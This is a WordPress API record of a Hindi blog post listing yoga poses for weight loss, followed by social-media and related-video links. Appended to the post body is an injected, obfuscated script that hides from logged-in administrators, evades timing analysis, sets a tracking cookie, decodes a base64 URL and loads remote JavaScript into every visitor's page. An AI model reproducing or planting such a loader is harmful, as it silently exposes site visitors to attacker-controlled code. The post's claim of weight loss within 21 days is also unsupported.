{"id":2312,"date":"2022-07-10T09:53:55","date_gmt":"2022-07-10T09:53:55","guid":{"rendered":"https:\/\/www.healthsrainbow.com\/blog\/?p=2312"},"modified":"2025-10-24T21:36:48","modified_gmt":"2025-10-24T21:36:48","slug":"%e0%a4%b5%e0%a5%87%e0%a4%9f-%e0%a4%b2%e0%a5%89%e0%a4%b8-%e0%a4%95%e0%a5%87-%e0%a4%b2%e0%a4%bf%e0%a4%8f-%e0%a4%98%e0%a4%b0-%e0%a4%ae%e0%a5%87%e0%a4%82-%e0%a4%95%e0%a4%b0%e0%a5%87%e0%a4%82-%e0%a4%af","status":"publish","type":"post","link":"https:\/\/www.healthsrainbow.com\/blog\/2022\/07\/10\/%e0%a4%b5%e0%a5%87%e0%a4%9f-%e0%a4%b2%e0%a5%89%e0%a4%b8-%e0%a4%95%e0%a5%87-%e0%a4%b2%e0%a4%bf%e0%a4%8f-%e0%a4%98%e0%a4%b0-%e0%a4%ae%e0%a5%87%e0%a4%82-%e0%a4%95%e0%a4%b0%e0%a5%87%e0%a4%82-%e0%a4%af\/","title":{"rendered":"Top Yoga Poses for Weight Loss: A Beginner&#8217;s Guide"},"content":{"rendered":"<h1>\u00a0<\/h1>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-2313\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2022\/07\/Do-this-yoga-asana-at-home-for-weight-loss-300x161.png\" alt=\"Do this yoga asana at home for weight loss\" width=\"300\" height=\"161\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2022\/07\/Do-this-yoga-asana-at-home-for-weight-loss-300x161.png 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2022\/07\/Do-this-yoga-asana-at-home-for-weight-loss.png 700w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0939\u0930 \u0938\u093e\u0932 21 \u091c\u0942\u0928 \u0915\u094b \u0907\u0902\u091f\u0930\u0928\u0947\u0936\u0928\u0932 \u092f\u094b\u0917 \u0926\u093f\u0935\u0938 \u092e\u0928\u093e\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948, \u092f\u094b\u0917 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0936\u0930\u0940\u0930 \u0915\u094b \u0915\u0908 \u092b\u093e\u092f\u0926\u0947 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902, \u092f\u094b\u0917\u093e\u091a\u093e\u0930\u094d\u092f\u094b\u0902 \u0915\u093e \u092e\u093e\u0928\u0928\u093e \u0939\u0948 \u0915\u093f \u0915\u0941\u091b \u092f\u094b\u0917\u093e\u0938\u0928 \u0938\u0947 \u0935\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092d\u0940 \u092e\u0926\u0926 \u092e\u093f\u0932 \u0938\u0915\u0924\u0940 \u0939\u0948\u0964<\/li>\n<li>\u092f\u094b\u0917 \u0915\u0930\u0928\u0947 \u0915\u0947 \u0915\u0908 \u092b\u093e\u092f\u0926\u0947 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902, \u092f\u094b\u0917 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0913\u0935\u0930\u0911\u0932 \u0939\u0947\u0932\u094d\u0925 \u0924\u094b \u0938\u0939\u0940 \u0939\u094b\u0924\u0940 \u0939\u0940 \u0939\u0948, \u0938\u093e\u0925 \u0939\u0940 \u0938\u093e\u0925 \u0935\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092d\u0940 \u092e\u0926\u0926 \u092e\u093f\u0932 \u0938\u0915\u0924\u0940 \u0939\u0948, \u092c\u0939\u0941\u0924 \u0938\u0947 \u0932\u094b\u0917 \u092e\u093e\u0928\u0924\u0947 \u0939\u0948\u0902 \u0915\u093f \u0938\u093f\u0930\u094d\u092b \u092f\u094b\u0917 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0935\u091c\u0928 \u0915\u092e \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u093e \u0939\u0948, \u0907\u0938\u0915\u0947 \u0932\u093f\u090f \u092f\u094b\u0917 \u0915\u0947 \u0938\u093e\u0925 \u0939\u0947\u0932\u094d\u0926\u0940 \u0921\u093e\u0907\u091f \u092d\u0940 \u0932\u0947\u0928\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/li>\n<li>\u0926\u0930\u0905\u0938\u0932, \u0935\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u0947 \u0915\u0947 \u0926\u094b \u092e\u0941\u0916\u094d\u092f \u091a\u0940\u091c \u0939\u0948\u0902, \u0939\u0947\u0932\u094d\u0926\u0940 \u0921\u093e\u0907\u091f \u0914\u0930 \u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u091c, \u0915\u0941\u091b \u090f\u0915\u094d\u0938\u092a\u0930\u094d\u091f \u0915\u093e \u092e\u093e\u0928\u0928\u093e \u0939\u0948 \u0915\u093f \u092f\u094b\u0917 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0930\u093f\u091c\u0932\u094d\u091f \u0927\u0940\u092e\u0947 \u092e\u093f\u0932\u0924\u0947 \u0939\u0948\u0902 \u0915\u094d\u092f\u094b\u0902\u0915\u093f \u092f\u094b\u0917 \u092b\u094d\u0932\u0947\u0917\u094d\u091c\u093f\u092c\u093f\u0932\u093f\u091f\u0940 \u092c\u0922\u093c\u093e\u0928\u0947 \u0914\u0930 \u092e\u0938\u0932\u094d\u0938 \u0915\u094b \u091f\u094b\u0928 \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u0905\u0927\u093f\u0915 \u092d\u0942\u092e\u093f\u0915\u093e \u0928\u093f\u092d\u093e\u0924\u093e \u0939\u0948,<\/li>\n<li>\u0915\u0941\u091b \u092f\u094b\u0917\u093e\u0938\u0928 \u0910\u0938\u0947 \u092d\u0940 \u0939\u0948\u0902 \u091c\u094b \u0935\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902, \u0905\u0917\u0930 \u0906\u092a\u0915\u0947 \u092a\u093e\u0938 \u091c\u093f\u092e \u091c\u093e\u0928\u0947 \u0915\u093e \u0938\u092e\u092f \u0928\u0939\u0940\u0902 \u0939\u0948 \u0924\u094b \u0915\u093f\u0938\u0940 \u090f\u0915\u094d\u0938\u092a\u0930\u094d\u091f \u0915\u0947 \u0905\u0902\u0921\u0930 \u092e\u0947\u0902 \u0930\u0939\u0915\u0930 \u0907\u0928 \u092f\u094b\u0917\u093e\u0938\u0928\u094b\u0902 \u0915\u094b \u092d\u0940 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<\/ul>\n<h2>\u0915\u094c\u0928-\u0938\u0947 \u092f\u094b\u0917\u093e\u0938\u0928 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0935\u0947\u091f \u0932\u0949\u0938 \u0939\u094b\u0924\u093e \u0939\u0948?<\/h2>\n<ol>\n<li><strong>\u0938\u0942\u0930\u094d\u092f \u0928\u092e\u0938\u094d\u0915\u093e\u0930<\/strong><\/li>\n<\/ol>\n<p>\u0938\u0942\u0930\u094d\u092f \u0928\u092e\u0938\u094d\u0915\u093e\u0930 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u094b\u0902 \u0915\u094b \u0917\u0930\u094d\u092e \u0915\u0930\u0928\u0947 \u0914\u0930 \u0909\u0928\u092e\u0947\u0902 \u092c\u094d\u0932\u0921 \u0938\u0930\u094d\u0915\u0941\u0932\u0947\u0936\u0928 \u092c\u0922\u093c\u093e\u0928\u0947 \u0915\u0947 \u0905\u0932\u093e\u0935\u093e \u0936\u0930\u0940\u0930 \u0915\u094b \u0915\u093e\u092b\u0940 \u0938\u093e\u0930\u0947 \u092b\u093e\u092f\u0926\u0947 \u092a\u0939\u0941\u0902\u091a\u093e\u0924\u093e \u00a0\u0939\u0948, \u092f\u0939 \u0936\u0930\u0940\u0930 \u0915\u0947 \u092e\u0941\u0916\u094d\u092f \u0905\u0902\u0917\u094b\u0902 \u0915\u0940 \u0938\u092d\u0940 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u094b\u0902 \u0915\u094b \u092b\u0948\u0932\u093e\u0924\u093e \u0939\u0948 \u0914\u0930 \u0909\u0928\u094d\u0939\u0947\u0902 \u091f\u094b\u0928 \u092d\u0940 \u0915\u0930\u0924\u093e \u0939\u0948, \u0915\u092e\u0930, \u0939\u093e\u0925, \u0921\u093e\u0907\u091c\u0947\u0938\u094d\u091f\u093f\u0935 \u0938\u093f\u0938\u094d\u091f\u092e, \u092e\u0947\u091f\u093e\u092c\u0949\u0932\u093f\u091c\u094d\u092e, \u092a\u0947\u091f, \u0932\u094b\u0905\u0930 \u092c\u0949\u0921\u0940 \u0939\u0930 \u091c\u0917\u0939 \u0938\u0942\u0930\u094d\u092f \u0928\u092e\u0938\u094d\u0915\u093e\u0930 \u0915\u093e \u0905\u0938\u0930 \u0939\u094b\u0924\u093e \u00a0\u0939\u0948, \u090f\u0915\u094d\u0938\u092a\u0930\u094d\u091f \u092c\u0924\u093e\u0924\u0947 \u0939\u0948\u0902 \u0915\u093f \u0907\u0938\u0947 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0935\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092d\u0940 \u092e\u0926\u0926 \u092e\u093f\u0932 \u0938\u0915\u0924\u0940 \u0939\u0948!<\/p>\n<ol start=\"2\">\n<li><strong>\u091a\u0924\u0941\u0930\u0902\u0917 \u0926\u0902\u0921\u093e\u0938\u0928, \u092a\u094d\u0932\u0948\u0902\u0915 \u092a\u094b\u091c<\/strong><\/li>\n<\/ol>\n<p>\u091a\u0924\u0941\u0930\u0902\u0917 \u0926\u0902\u0921\u093e\u0938\u0928 \u0906\u092a\u0915\u0947 \u0915\u094b\u0930 \u092e\u0938\u0932\u094d\u0938 (\u092a\u0947\u091f) \u0915\u094b \u092e\u091c\u092c\u0942\u0924 \u0915\u0930\u0928\u0947 \u0915\u093e \u0938\u092c\u0938\u0947 \u0905\u091a\u094d\u091b\u093e \u0924\u0930\u0940\u0915\u093e \u0939\u0948, \u00a0\u092f\u0939 \u0926\u0947\u0916\u0928\u0947 \u092e\u0947 \u091c\u093f\u0924\u0928\u093e \u0906\u0938\u093e\u0928 \u0932\u0917\u0924\u093e \u0939\u0948, \u0907\u0938\u0915\u0947 \u092b\u093e\u092f\u0926\u0947 \u092d\u0940 \u0909\u0924\u0928\u0947 \u0939\u0940 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902,<\/p>\n<ol start=\"3\">\n<li><strong>\u0935\u0940\u0930\u092d\u0926\u094d\u0930\u093e\u0938\u0928, \u092f\u094b\u0926\u094d\u0927\u093e \u092e\u0941\u0926\u094d\u0930\u093e<\/strong><\/li>\n<\/ol>\n<p>\u0935\u0940\u0930\u092d\u0926\u094d\u0930\u093e\u0938\u0928 \u091c\u093e\u0902\u0918\u094b\u0902 \u0914\u0930 \u0915\u0902\u0927\u094b\u0902 \u0915\u094b \u091f\u094b\u0928 \u0915\u0930\u0924\u093e \u0939\u0948 \u0914\u0930 \u0938\u093e\u0925 \u0939\u0940 \u0938\u093e\u0925 \u092b\u094b\u0915\u0938 \u092c\u0922\u093c\u093e\u0928\u0947 \u092e\u0947\u0902 \u092d\u0940 \u092e\u0926\u0926 \u0915\u0930\u0924\u093e \u0939\u0948, \u0935\u0940\u0930\u092d\u0926\u094d\u0930\u093e\u0938\u0928 \u091c\u093f\u0924\u0928\u093e \u0905\u0927\u093f\u0915 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902 \u0909\u0924\u0928\u0947 \u0939\u0940 \u0905\u0927\u093f\u0915 \u0930\u093f\u091c\u0932\u094d\u091f \u092e\u093f\u0932\u0924\u0947 \u0939\u0948\u0902<\/p>\n<ol start=\"4\">\n<li><strong>\u0924\u094d\u0930\u093f\u0915\u094b\u0923\u093e\u0938\u0928, \u0924\u094d\u0930\u093f\u092d\u0941\u091c \u092e\u0941\u0926\u094d\u0930\u093e<\/strong><\/li>\n<\/ol>\n<p>\u0924\u094d\u0930\u093f\u0915\u094b\u0923\u093e\u0938\u0928 \u092a\u093e\u091a\u0928 \u092e\u0947\u0902 \u0938\u0941\u0927\u093e\u0930 \u0915\u0930\u0928\u0947 \u0915\u0947 \u0938\u093e\u0925-\u0938\u093e\u0925 \u092a\u0947\u091f \u0914\u0930 \u0915\u092e\u0930 \u092e\u0947\u0902 \u091c\u092e\u093e \u091a\u0930\u094d\u092c\u0940 \u0915\u094b \u0915\u092e \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u093e \u0939\u0948, \u092f\u0939 \u092a\u0942\u0930\u0947 \u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u092c\u094d\u0932\u0921 \u0938\u0930\u094d\u0915\u0941\u0932\u0947\u0936\u0928 \u0915\u094b \u090f\u0915\u094d\u091f\u093f\u0935 \u0915\u0930\u0924\u093e \u0939\u0948 \u0914\u0930 \u0909\u0938\u0947 \u0938\u0941\u0927\u093e\u0930\u0924\u093e \u0939\u0948, \u0907\u0938 \u0906\u0938\u0928 \u0938\u0947 \u0915\u092e\u0930 \u0915\u0947 \u091a\u093e\u0930\u094b\u0902 \u0913\u0930 \u0915\u093e \u092b\u0948\u091f \u091c\u0932\u093e\u0928\u0947 \u0914\u0930 \u091c\u093e\u0902\u0918\u094b\u0902 \u092e\u0947\u0902 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u094b\u0902 \u0915\u094b \u092c\u0922\u093c\u093e\u0928\u0947 \u092e\u0947 \u092e\u0926\u0926 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964<\/p>\n<ol start=\"5\">\n<li><strong>\u0927\u0928\u0941\u0930\u093e\u0938\u0928, \u0927\u0928\u0941\u0937 \u092e\u0941\u0926\u094d\u0930\u093e<\/strong><\/li>\n<\/ol>\n<p>\u0927\u0928\u0941\u0930\u093e\u0938\u0928 \u092a\u0947\u091f \u0915\u0947 \u092e\u0938\u0932\u094d\u0938 \u0915\u094b \u0938\u092c\u0938\u0947 \u0905\u091a\u094d\u091b\u0947 \u0938\u0947 \u091f\u094b\u0928 \u0915\u0930\u0924\u093e \u0939\u0948 \u0914\u0930 \u092a\u0947\u091f \u0915\u0940 \u091a\u0930\u094d\u092c\u0940 \u0915\u094b \u0915\u092e \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092d\u0940 \u092e\u0926\u0926 \u0915\u0930\u0924\u093e \u0939\u0948<\/p>\n<ol start=\"6\">\n<li><strong>\u0905\u0927\u094b\u092e\u0941\u0916 \u0936\u094d\u0935\u093e\u0928\u093e\u0938\u0928, \u0921\u093e\u0909\u0928\u0935\u0930\u094d\u0921 \u092b\u0947\u0938\u093f\u0902\u0917 \u0921\u0949\u0917 \u092a\u094b\u091c<\/strong><\/li>\n<\/ol>\n<p>7<strong>. \u0938\u0930\u094d\u0935\u093e\u0902\u0917\u093e\u0938\u0928, \u0936\u094b\u0932\u094d\u0921\u0930 \u0938\u094d\u091f\u0948\u0902\u0921<\/strong> \u092a\u094b\u091c\u0964<\/p>\n<h2>\u00a0<\/h2>\n<h2><strong>\u0915\u094d\u092f\u093e<\/strong>\u00a0<strong>\u0935\u091c\u0928<\/strong>\u00a0<strong>\u0915\u092e<\/strong>\u00a0<strong>\u0915\u0930\u0928\u0947<\/strong>\u00a0<strong>\u0915\u0947<\/strong>\u00a0<strong>\u0932\u093f\u090f<\/strong>\u00a0<strong>\u092f\u094b\u0917<\/strong>\u00a0<strong>\u0905\u091a\u094d\u091b\u093e<\/strong>\u00a0<strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<ul>\n<li>\u092f\u094b\u0917 \u0938\u0947 \u0935\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948 \u092f\u093e \u0928\u0939\u0940\u0902 \u0907\u0938\u092a\u0930 \u0932\u094b\u0917\u094b\u0902 \u0915\u0940 \u0905\u092a\u0928\u0940 \u0905\u0932\u0917-\u0905\u0932\u0917 \u0930\u093e\u092f \u0939\u0948, \u092f\u094b\u0917 \u0915\u0947 \u0938\u093e\u0925 \u091c\u092c \u0906\u092a \u0939\u0947\u0932\u094d\u0926\u0940 \u0921\u093e\u0907\u091f \u0932\u0947\u0924\u0947 \u0939\u0948\u0902 \u0924\u094b \u0907\u0938\u0938\u0947 \u0935\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u092e\u093f\u0932 \u0938\u0915\u0924\u0940 \u0939\u0948, \u0935\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u0947 \u0915\u0947 \u0938\u093e\u0925 \u0939\u0940 \u0907\u0938\u0938\u0947 \u0906\u092a\u0915\u093e \u0926\u093f\u092e\u093e\u0917 \u0914\u0930 \u0936\u0930\u0940\u0930 \u092d\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0930\u0939\u0924\u093e \u0939\u0948, \u0910\u0938\u0947 \u092e\u0947\u0902 \u0905\u0917\u0930 \u0906\u092a \u0935\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0964\u0924\u094b \u0906\u092a\u0915\u094b \u092f\u094b\u0917 \u0915\u0947 \u0938\u093e\u0925 \u0939\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0921\u093e\u0907\u091f \u092d\u0940 \u0932\u0947\u0928\u0940 \u091c\u0930\u0942\u0930\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/li>\n<\/ul>\n<h2>\u00a0<\/h2>\n<h2>\u092f\u094b\u0917 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0915\u093f\u0924\u0928\u0947 \u0926\u093f\u0928 \u092e\u0947\u0902 \u0935\u091c\u0928 \u0915\u092e \u0939\u094b\u0924\u093e \u0939\u0948?<\/h2>\n<ul>\n<li>\u092f\u094b\u0917 \u0915\u0930\u0928\u0947 \u0938\u0947 21 \u0926\u093f\u0928 \u092e\u0947\u0902 \u0935\u0947\u091f \u0932\u0949\u0938 \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092c\u0939\u0941\u0924 \u0939\u0947\u0932\u094d\u092a \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964<\/li>\n<\/ul>\n<h2>\u00a0<\/h2>\n<h2><strong>\u092f\u094b\u0917\u093e\u0938\u0928<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0932\u093f\u090f<\/strong> <strong>\u0915\u094c\u0928<\/strong> <strong>\u0938\u0947<\/strong> <strong>\u0921\u0949\u0915\u094d\u091f\u0930<\/strong> <strong>\u0915\u094b<\/strong> <strong>\u0926\u093f\u0916\u093e\u090f<\/strong><strong>?<\/strong><\/h2>\n<ul>\n<li>General Physicians<\/li>\n<\/ul>\n\n\n<p><strong>For more information Visit us :<\/strong><\/p>\n\n\n\n<p>Website: <a href=\"https:\/\/www.youtube.com\/redirect?event=video_description&amp;redir_token=QUFFLUhqa2VQQWdHYURCNlk3SkVlUTFCSmh4UmlPNXlRd3xBQ3Jtc0ttaXE0b0t1ckw2SGFuQm41dDBqajRMLXk4UTRHeGNPRjM0azBjQW1WYmZuZ1Y1VVZNVXVDbHpSSWJfVnVJN3Y2QkVDQU9WNG5HbF81a2E0X2RSc1VfR3dUR2Y5cEFFRnltVTBNU3JGTnpQeE5iOWd5OA&amp;q=http%3A%2F%2Fwww.healthsrainbow.com%2F&amp;v=wPm8FUPYWn4\">http:\/\/www.healthsrainbow.com\/<\/a><\/p>\n\n\n\n<p>Website Blog: <a href=\"https:\/\/www.healthsrainbow.com\/blog\/\">https:\/\/www.healthsrainbow.com\/blog\/<\/a><\/p>\n\n\n\n<p>Subscriber: <a href=\"https:\/\/www.youtube.com\/@healthsrainbow4897\">https:\/\/www.youtube.com\/@healthsrainbow4897<\/a><\/p>\n\n\n\n<p>Facebook Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100087738795787\">https:\/\/www.facebook.com\/profile.php?id=100087738795787<\/a><\/p>\n\n\n\n<p>Facebook Main Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100072657459686\">https:\/\/www.facebook.com\/profile.php?id=100072657459686<\/a><\/p>\n\n\n\n<p>Instagram: <a href=\"https:\/\/www.instagram.com\/healthsrainbow\/\">https:\/\/www.instagram.com\/healthsrainbow\/<\/a><\/p>\n\n\n\n<p>Twitter: <a href=\"https:\/\/twitter.com\/healths_rainbow\">https:\/\/twitter.com\/healths_rainbow<\/a><\/p>\n\n\n<p><strong>RELATED VIDEO:&nbsp;<\/strong><\/p>\n<ol>\n<li><strong>Causes of thinness<\/strong>&nbsp;:&nbsp;<a href=\"https:\/\/youtu.be\/GCd0fR3b8bo\">https:\/\/youtu.be\/GCd0fR3b8bo<\/a><\/li>\n<li><strong>How to reduce belly fat<\/strong>&nbsp;:&nbsp;<a href=\"https:\/\/youtu.be\/E1DEgfBEI-M\">https:\/\/youtu.be\/E1DEgfBEI-M<\/a><\/li>\n<li class=\"title style-scope ytd-video-primary-info-renderer\"><strong>DIET PLAN TO REDUCE OBESITY<\/strong>&nbsp;:&nbsp;<a href=\"https:\/\/youtu.be\/AzfCnjhPj9c\">https:\/\/youtu.be\/AzfCnjhPj9c<\/a><\/li>\n<\/ol>\n<p><strong>RELATED ARTICLE :&nbsp;<\/strong><\/p>\n<ol>\n<li><strong>&nbsp;yoga at home for weight loss<\/strong>&nbsp;:&nbsp;<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/07\/10\/%e0%a4%b5%e0%a5%87%e0%a4%9f-%e0%a4%b2%e0%a5%89%e0%a4%b8-%e0%a4%95%e0%a5%87-%e0%a4%b2%e0%a4%bf%e0%a4%8f-%e0%a4%98%e0%a4%b0-%e0%a4%ae%e0%a5%87%e0%a4%82-%e0%a4%95%e0%a4%b0%e0%a5%87%e0%a4%82-%e0%a4%af\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/07\/10\/<\/a><\/li>\n<li><strong>&nbsp;lose weight after pregnancy<\/strong>&nbsp;:&nbsp;<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/05\/31\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/05\/31\/<\/a><\/li>\n<li><strong>OBESITY :&nbsp;&nbsp;<\/strong><a href=\"https:\/\/www.healthsrainbow.com\/blog\/2021\/12\/11\/\">https:\/\/www.healthsrainbow.com\/blog\/2021\/12\/11\/<\/a><\/li>\n<\/ol>\n<p><strong>VISIT OUR WEBSITE :&nbsp;<\/strong><\/p>\n<ol>\n<li><a href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n<li><a href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n<\/ol>\n<p><strong>This video Covers the information about:<\/strong><\/p>\n<p>Do this yoga at home for weight loss, body fat will melt fast? Which doctor to see for yoga?<\/p>\n<p><strong>PUBLISHED BY HEALTHS RAINBOW<\/strong><\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u00a0 \u0939\u0930 \u0938\u093e\u0932 21 \u091c\u0942\u0928 \u0915\u094b \u0907\u0902\u091f\u0930\u0928\u0947\u0936\u0928\u0932 \u092f\u094b\u0917 \u0926\u093f\u0935\u0938 \u092e\u0928\u093e\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948, \u092f\u094b\u0917 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0936\u0930\u0940\u0930 \u0915\u094b \u0915\u0908 \u092b\u093e\u092f\u0926\u0947 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902, \u092f\u094b\u0917\u093e\u091a\u093e\u0930\u094d\u092f\u094b\u0902 \u0915\u093e \u092e\u093e\u0928\u0928\u093e \u0939\u0948 \u0915\u093f \u0915\u0941\u091b \u092f\u094b\u0917\u093e\u0938\u0928 \u0938\u0947 \u0935\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092d\u0940 \u092e\u0926\u0926&#8230; <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3145],"tags":[],"_links":{"self":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/2312"}],"collection":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/comments?post=2312"}],"version-history":[{"count":8,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/2312\/revisions"}],"predecessor-version":[{"id":13778,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/2312\/revisions\/13778"}],"wp:attachment":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/media?parent=2312"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/categories?post=2312"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/tags?post=2312"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}